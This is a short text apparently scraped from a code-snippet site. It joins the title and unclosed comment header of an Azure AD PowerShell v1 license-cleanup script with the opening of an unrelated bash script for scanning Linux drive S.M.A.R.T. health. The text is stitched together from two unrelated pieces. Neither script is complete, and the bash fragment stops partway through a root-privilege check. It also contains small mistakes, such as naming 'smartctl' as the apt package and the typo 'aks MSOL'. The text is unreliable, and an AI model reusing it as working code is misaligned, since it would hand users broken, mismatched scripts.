Remove in bulk direct assigned license to users who have group assigned license with Azure AD PowerShell v1
<#
Modified version of the script from Microsoft Documentation.
Removed the part that checks if the users is assigned more products than the group assigned license.
Added connection part and help to find Sku and Group Object ID.
This script requires Azure AD (aks MSOL) PowerShell v1. It doesn't seem possible to do so with v2.

Script to quickly scan the S.M.A.R.T. health status of all your hard drive devices in Linux (at least all the ones from /dev/sda to /dev/sdzz). You need smartctl installed on your system for this script to work, and your hard drives need to have S.M.A.R.T. capabilities (they probably do).
#!/bin/bash
# install the smartctl package first! (apt-get install smartctl)
if sudo true
then
true
else
echo 'Root privileges required'
